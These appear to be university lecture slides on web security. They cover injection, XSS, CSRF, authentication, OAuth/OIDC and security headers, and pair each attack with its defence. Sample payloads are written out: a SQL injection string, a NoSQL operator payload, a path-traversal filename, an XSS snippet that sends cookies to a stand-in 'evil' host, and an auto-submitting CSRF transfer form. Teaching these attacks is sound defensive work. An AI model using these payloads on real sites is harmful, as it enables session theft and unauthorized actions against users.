Internet Engineering

11

Web Security

Introduction · Injection · Cross-Site Scripting · Cross-Site Request Forgery · Authentication & Authorization · Transport & Headers

Fall 2026 · Amirkabir University of Technology
@1995parham

Why Security?

  • A web application is a program that runs arbitrary input from strangers
  • Everything the client sends is under the attacker's control
    • Query parameters, headers, cookies, request body
    • Even the fields your own form generated: the browser is not a trusted environment
  • The same-origin policy and CORS protect the browser, not your server

The Golden Rule

Never mix data with code.

  • Almost every vulnerability in this lecture is one bug: data supplied by a user is parsed as instructions by some interpreter
    • SQL injection: data becomes part of a SQL query
    • XSS: data becomes part of an HTML document
    • Command injection: data becomes part of a shell command
  • The fix is always the same shape: keep them separate, do not try to sanitize your way out

SQL Injection

Consider a login handler that builds its query by concatenation:


query := "SELECT id FROM users WHERE name = '" + name + "'"
    

What happens when name is ' OR '1'='1?

The Query the Database Sees


SELECT id FROM users WHERE name = '' OR '1'='1'
    
  • The quote supplied by the user ended the string and the rest became SQL
  • The database is behaving correctly. It cannot know which characters came from you and which came from the attacker

Prepared Statements


row := db.QueryRow("SELECT id FROM users WHERE name = $1", name)
    
  • The query is sent to the server once, with holes in it, and the values are sent separately
  • The value can never become SQL, whatever characters it contains, so there is nothing to escape
  • This is not about quoting quotes: it is a different protocol-level mechanism

Not Only SQL

  • Command injection: passing input to a shell (sh -c). Pass an argument vector instead of a string
  • NoSQL injection: a JSON body that deserializes into a query object, e.g. {"password": {"$ne": null}}
  • Path traversal: a filename containing ../../etc/passwd

Cross-Site Scripting (XSS)

The same bug, but the interpreter is the browser and the injected code is JavaScript.


// a comment box that renders whatever was posted
element.innerHTML = "<p>" + comment + "</p>";
    

A comment of <img src=x onerror="fetch('//evil/'+document.cookie)"> now runs in every visitor's session.

Why It Matters

  • The injected script runs with the full privileges of your origin
    • It can read the DOM, cookies (unless HttpOnly), and local storage
    • It can issue requests as the victim, and the same-origin policy will happily allow them: the script is the origin
  • CORS does not help here. The call is coming from inside the house

Flavours

  • Stored: the payload is saved on the server (a comment, a profile name) and served to everyone
  • Reflected: the payload travels in the request (a search query echoed back into the page)
  • DOM-based: the server is never involved; client-side code copies location.hash into the page

Defence: Encode on Output

  • Encode data for the context it lands in: HTML body, attribute, URL, and JavaScript all differ
  • Use the framework's escaping and do not defeat it: innerHTML and dangerouslySetInnerHTML opt out of it
  • textContent is safe by construction, it cannot create elements

element.textContent = comment; // never parsed as html
    

Defence in Depth

  • Content-Security-Policy: tell the browser which sources may execute, so an injected inline script is refused
  • HttpOnly cookies: unreadable from JavaScript, so a stolen DOM does not hand over the session
  • These reduce the damage. They do not remove the bug

Content-Security-Policy: default-src 'self'
    

Cross-Site Request Forgery (CSRF)

  • The browser attaches your cookies to a request no matter who caused it
  • So a page on evil.example can cause a request to bank.example, and it will be authenticated

<form action="https://bank.example/transfer" method="POST">
  <input name="to" value="attacker" />
  <input name="amount" value="1000000" />
</form>
<script>document.forms[0].submit()</script>
    

Read Versus Write

  • The attacker cannot read the response: the same-origin policy still holds
  • But they do not need to. The side effect already happened on the server
  • This is why a GET must never change state, a rule from the HTTP lecture that turns out to be a security rule too

Defence

  • SameSite cookies: tell the browser not to attach the cookie to cross-site requests
    • Lax is the modern browser default
    • Strict for anything sensitive
  • CSRF tokens: a per-session random value in the form, which the attacker's page cannot read
  • Bearer tokens in an Authorization header are not attached automatically, so they are not vulnerable to this

Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax
    

Authentication vs Authorization

  • Authentication: who are you?
  • Authorization: what are you allowed to do?
  • Most real breaches are failures of the second one: the user is who they claim, and asks for someone else's object

Storing Passwords

  • Never store them. Store a hash
  • Not SHA-256: fast hashes are the problem, a GPU tries billions per second
  • Use a password hash designed to be slow and memory-hard: argon2id, scrypt, or bcrypt
  • They salt each password for you, so identical passwords differ

Sessions and Tokens

  • Session cookie: the server keeps the state, the cookie is only a lookup key, and revoking is trivial
  • JWT: the claims travel inside a signed token, so the server keeps nothing
    • Signed, not encrypted: anyone can read the payload
    • Hard to revoke before expiry, which is why access tokens are short-lived and paired with a refresh token

header.payload.signature   # three base64url parts, separated by dots
    

OAuth 2.0

  • A delegation protocol: let an application act on a user's behalf without giving it the password
  • Four roles
    • Resource owner: the user
    • Client: the application asking for access
    • Authorization server: issues tokens
    • Resource server: the API holding the data
  • "Sign in with GitHub" is this, plus an identity layer on top

Authorization Code Flow

  • The client redirects the user to the authorization server
  • The user authenticates there, and approves the scopes
  • The browser comes back with a short-lived code
  • The client exchanges that code for a token from its back-end, so the token never touches the URL bar
  • Public clients (SPA, mobile) add PKCE, which binds the code to whoever started the flow

OpenID Connect

  • OAuth 2.0 answers "may this app call the API?", not "who is this user?"
  • OIDC is a thin layer on top that adds an id_token: a JWT describing the user
  • Using a raw access token as proof of identity is a classic mistake: it was minted for an API, not for you

Transport Security

  • HTTPS gives confidentiality, integrity, and authentication of the server
  • Without it, every proxy on the path can read and modify the traffic
  • Strict-Transport-Security tells the browser never to try plain HTTP again

Strict-Transport-Security: max-age=31536000; includeSubDomains
    

Useful Response Headers

  • Content-Security-Policy: which sources may load and execute
  • X-Content-Type-Options: nosniff: stop the browser guessing a type you did not declare
  • X-Frame-Options / frame-ancestors: refuse to be framed, so your UI cannot be overlaid and clicked through
  • Referrer-Policy: stop leaking full URLs to third parties

Rules of Thumb

  • Validate input, but encode on output
  • Never build code by concatenating strings
  • Check authorization on the server, for every request, on the object being touched
  • Keep secrets out of the repository and out of the front-end
  • Do not invent your own cryptography, or your own session tokens
  • Assume you will get one wrong, and make the blast radius small

References 📚

Fork me on GitHub